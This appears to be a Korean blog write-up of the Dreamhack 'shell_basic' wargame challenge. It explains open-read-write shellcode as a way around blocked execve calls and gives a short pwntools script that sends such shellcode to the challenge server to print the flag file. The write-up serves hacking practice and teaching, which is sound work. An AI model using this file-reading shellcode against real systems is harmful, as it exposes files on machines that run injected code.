shell_basic
입력한 셸코드를 실행하는 프로그램입니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
# 문제 분석
- execve, execveat 시스템 콜을 사용하지 못하므로 orw 셸코드를 생각해 볼 수 있다
💡 orw 셸코드란? 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드
[참고] 2022.04.03 - [System hacking/system hacking] - [Dreamhack] Exploit Tech: Shellcode
# exploit
from pwn import *
context.arch = 'x86_64'
p = remote("host3.dreamhack.games",18286)
ex = shellcraft.pushstr("/home/shell_basic/flag_name_is_loooooong") # 파일 이름
ex += shellcraft.open('rsp',0,0) # 열고
ex += shellcraft.read('rax', 'rsp', 100) # 읽고
ex += shellcraft.write(1, 'rsp', 100) # 화면에 쓰고
p.sendline(asm(ex))
p.interactive()
# 실행결과
'War Game & CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] basic_exploitation_001 (0) | 2022.09.01 |
---|---|
[Dreamhack] basic_exploitation_000 (0) | 2022.08.31 |
[Dreamhack] simple_sqli (0) | 2022.03.10 |
[Dreamhack] CSRF-2 (0) | 2022.03.01 |
[Dreamhack] CSRF-1 (0) | 2022.03.01 |